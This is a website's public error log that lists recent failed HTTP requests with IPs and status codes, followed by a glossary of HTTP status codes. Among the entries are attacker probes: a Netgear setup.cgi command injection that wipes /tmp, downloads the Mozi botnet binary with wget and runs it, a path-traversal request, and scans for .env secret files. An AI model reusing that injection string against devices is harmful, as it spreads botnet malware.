Website Error Log.
  https://agius.co 

This page lists the last few HTTP errors on this website.
  Date/Time = The website date and time someone tried to load the page. 
  IP address = The IP address of the user trying to load the page. 
  Page URL = The address of the page that could not be loaded. 
  Status = The HTTP status codes. (See list below) 
Note:
The following URL's would not load on the listed error date, but may have been OK before and/or after this date.
 Date:  Time:  IP address:  Page URL:  Status:
28/07/2026 3:12am  209.97.186.192  https://rhea-230.uk2group.com/webapps/mch/cmd/?v=2.0&t=1388009682&e=1.0&fdata=JA0MW3IDX1NPRl5GHUZZXltteVtwaF9kFSAtUmh5UltcQSgxPA95YEdXbB4-HiICbFNcVXEASxYVGQlNFUJdWl5nbxo1OAp.Jhl4W29xTAoFBnoLAWEcEDlHEHUQIQdAMgUYW3MRCAgdFBlNHEZVUltmfV51YV5yRm89CC11Ah0ZFzR9a3NtZzJCZ340ECoLIQgNSCBYAENLNgEYSCoACQYKJhogPzEwEy0gHTwrHjYZAjQsBwB4Z0JXYgpm&cks=MGUyZjgxOGM4YzI5NGFjNTkzMTBjMjQ4NTE5NGM5NWQ  404 
28/07/2026 3:02am  41.143.165.44  https://agius.co/webwindow/history/Welcome.htm  404 
28/07/2026 3:02am  153.67.187.51  https://agius.co/os/files/..%5Cindex.php  404 
28/07/2026 3:01am  189.28.68.1  https://agius.co/webwindow/history/Help.htm  404 
28/07/2026 3:00am  186.33.41.26  https://agius.co/webwindow/blog/blogpage.shtml  404 
28/07/2026 2:53am  167.99.42.21  http://rhea-230.uk2group.com/webapps/mch/cmd/?v=2.0&t=1388009682&e=1.0&fdata=JA0MW3IDX1NPRl5GHUZZXltteVtwaF9kFSAtUmh5UltcQSgxPA95YEdXbB4-HiICbFNcVXEASxYVGQlNFUJdWl5nbxo1OAp.Jhl4W29xTAoFBnoLAWEcEDlHEHUQIQdAMgUYW3MRCAgdFBlNHEZVUltmfV51YV5yRm89CC11Ah0ZFzR9a3NtZzJCZ340ECoLIQgNSCBYAENLNgEYSCoACQYKJhogPzEwEy0gHTwrHjYZAjQsBwB4Z0JXYgpm&cks=MGUyZjgxOGM4YzI5NGFjNTkzMTBjMjQ4NTE5NGM5NWQ  404 
28/07/2026 2:14am  54.38.152.15  https://agius.co/404.shtml  404 
28/07/2026 1:53am  34.96.60.187  https://agius.co/ads.txt  404 
28/07/2026 1:52am  47.128.60.20  https://agius.co/robots.txt  403 
28/07/2026 1:36am  95.181.233.21  https://agius.co/415.shtml  404 
27/07/2026 11:45pm  157.157.221.187  https://agius.co/.env.production.local  404 
27/07/2026 11:42pm  157.157.221.187  https://agius.co/.env.backup  404 
27/07/2026 11:41pm  157.157.221.187  https://agius.co/.env.development  404 
27/07/2026 10:50pm  207.46.13.151  https://www.agius.co/sitemap.xml.gz  404 
27/07/2026 10:39pm  149.232.129.22  https://agius.co/ip  404 
27/07/2026 10:39pm  111.119.201.23  https://agius.co/ip  404 
27/07/2026 10:39pm  119.8.54.188  https://agius.co/ip  404 
27/07/2026 10:17pm  207.46.13.54  https://agius.co/sitemaps.xml  404 
27/07/2026 9:55pm  165.232.79.180  http://213.155.2.230/evox/about  404 
27/07/2026 9:55pm  165.232.79.180  http://213.155.2.230/HNAP1  404 
27/07/2026 9:55pm  165.232.79.180  http://213.155.2.230/odinhttpcall1785185702  404 
27/07/2026 9:55pm  165.232.79.180  http://213.155.2.230/sdk  404 
27/07/2026 9:37pm  207.46.13.153  https://www.agius.co/sitemap.xml.gz  404 
27/07/2026 9:04pm  157.55.39.14  https://agius.co/sitemaps.xml  404 
27/07/2026 6:55pm  66.249.66.203  https://agius.co/ads.txt  404 
27/07/2026 3:48pm  91.196.152.158  http://swiftdomainhosting.com/data:,  404 
27/07/2026 2:57pm  2.124.182.200  https://agius.co/stpaulstest/postpassword.php  403 
27/07/2026 2:57pm  2.124.182.200  https://agius.co/xx  404 
27/07/2026 2:12pm  47.128.60.153  https://agius.co/robots.txt  403 
27/07/2026 1:10pm  47.128.60.180  https://agius.co/robots.txt  403 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/FEJABDW_PHRDISVYKZRUD34QHGSBFU2G  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/3CXEU_5-T1-GPXAD672KMV_54VC__LP2  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/QQY8NGRVGTEVXH1QWX_AWNQELH2YXPOF  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/6OJAZMJP7_YC-BRJAX84VH2SBQTUHJAO  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/W-9KC1N347H7Y90EH0HVRIROYB8Z3X17  404 
27/07/2026 12:20pm  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/2UEUSS7C0Y3Z-A70TCA532TPHCJ122KA  404 
27/07/2026 12:20pm  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/-V9YLL0YNG38FWIKU_C6HZBS7_G3UW88  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/O3HD3LLJA1BAJQA7ZMOACVVLNT17KVQ6  404 
27/07/2026 12:20pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/YLFJRGRB31OHITTADHJAI0E7LVIN4C8S  404 
27/07/2026 9:54am  59.103.216.181  http:///setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1  403 
Note: Only the last 40 records are displayed here.

    HTTP status number list:
    Only some of the following are error and recorded on this website.
  • HTTP 100 = Continue. Server received request headers, and client should proceed to send the request body.
  • HTTP 101 = Switching protocols. Requester asked server to switch protocols and the server is acknowledging it.
  • HTTP 102 = Processing. The server has received and is processing the request, but no response is available yet.
  • HTTP 103 = Checkpoint. This code is used in the resumable HTTP requests. Resume/aborted PUT or POST request.
  • HTTP 122 = Request-URI too long. IE7-only code allows a maximum of 2083 characters.
  • HTTP 200 = Requested document has been processed and sent to you.
  • HTTP 201 = Created. Request fulfilled and a new resource is being created.
  • HTTP 202 = Accepted. Request has been accepted, but processing has not been completed.
  • HTTP 203 = Non-authoritative information. Server processed the request, but is returning information that may be from another source.
  • HTTP 204 = No content. Server successfully processed the request, but is not returning any content.
  • HTTP 205 = Reset content. Same as 204 response, but also requester reset of the document view.
  • HTTP 206 = Partial content. Server delivering only part of resource due to a range header sent by client.
  • HTTP 207 = Multi-status. Message body that follows is an XML message.
  • HTTP 226 = IM used. The server has fulfilled a GET request for the resource.
  • HTTP 300 = Multiple choices. The client may follow a number of different choices.
  • HTTP 301 = The document or directory has been moved permanently.
  • HTTP 302 = Found. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 303 = Redirect web applications. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 304 = Not modified. The resource has not been modified since last requested.
  • HTTP 305 = Use proxy.
  • HTTP 306 = Switch proxy.
  • HTTP 307 = Temporary redirect. The request should be repeated with another URI.
  • HTTP 308 = Resume Incomplete.
  • HTTP 400 = A bad HTTP request was sent from your browser to the website.
  • HTTP 401 = Unauthorised. You may have entered an invalid password.
  • HTTP 402 = Payment required to view the file or directory.
  • HTTP 403 = Forbidden. You do not have permission to view the page.
  • HTTP 404 = The file or directory was not found.
  • HTTP 405 = Method not allowed. EG. Using Get and not Post.
  • HTTP 406 = Not acceptable. Requested resource is only capable of generating content.
  • HTTP 407 = Proxy authentication required.
  • HTTP 408 = Request timeout. Server timed out waiting for the request.
  • HTTP 409 = Conflict. Request could not be processed because of conflict in the request.
  • HTTP 410 = Gone. The resource requested is no longer available and will not be available again.
  • HTTP 411 = Length required.
  • HTTP 412 = Precondition failed. The server does not meet one of the preconditions request.
  • HTTP 413 = Request entity too large. The request is larger than the server can process.
  • HTTP 414 = Request-URI is too long.
  • HTTP 415 = Unsupported media type.
  • HTTP 416 = Requested range not satisfiable. Request for portion of file that server cannot supply.
  • HTTP 417 = Expectation failed. The server cannot meet the requirements of the expect request-header.
  • HTTP 418 = I'm a teapot. This code was defined in 1998 as one of the traditional.
  • HTTP 422 = Unprocessable Entity. The request was correct but was unable to be followed due to semantic errors.
  • HTTP 423 = Locked. The resource that is being accessed is locked.
  • HTTP 424 = Failed Dependency. The request failed due to failure of a previous request.
  • HTTP 425 = Unordered Collection.
  • HTTP 426 = Upgrade required. Should switch to a different protocol.
  • HTTP 444 = No response. Nginx HTTP server extension.
  • HTTP 449 = Retry with a Microsoft extension. (Windows Parental Controls are turned on)
  • HTTP 450 = Blocked by Windows parental controls. (Windows Parental Controls are turned on)
  • HTTP 499 = Client closed request. Nginx HTTP server extension.
  • HTTP 500 = Internal Server Error. Could be bad script code, invalid .htaccess file, etc.
  • HTTP 501 = Not Implemented. Server dose not recognise the request method, or can not fulfill the request.
  • HTTP 502 = Bad Gateway. The server received an invalid response from the upstream server.
  • HTTP 503 = Service unavailable. Could be due to too much traffic for server.
  • HTTP 504 = Gateway timeout. Could be due to too much traffic for server.
  • HTTP 505 = HTTP Version not supported by website server.
  • HTTP 506 = Variant negotiates.
  • HTTP 507 = Insufficient Storage on webdite server.
  • HTTP 509 = Bandwidth Limit Exceeded for website.
  • HTTP 510 = Not Extended.
This page was last updated on;
28/07/2026 - 2:46am GMT / UTC